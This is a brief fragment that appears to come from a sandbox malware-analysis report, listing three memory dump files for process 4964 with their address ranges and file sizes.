                                                                                                                                                  • memory/4964-151-0x0000028AA3310000-0x0000028AA3332000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    136KB

                                                                                                                                                  • memory/4964-153-0x00007FFA66E70000-0x00007FFA67931000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/4964-154-0x00007FFA66E70000-0x00007FFA67931000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB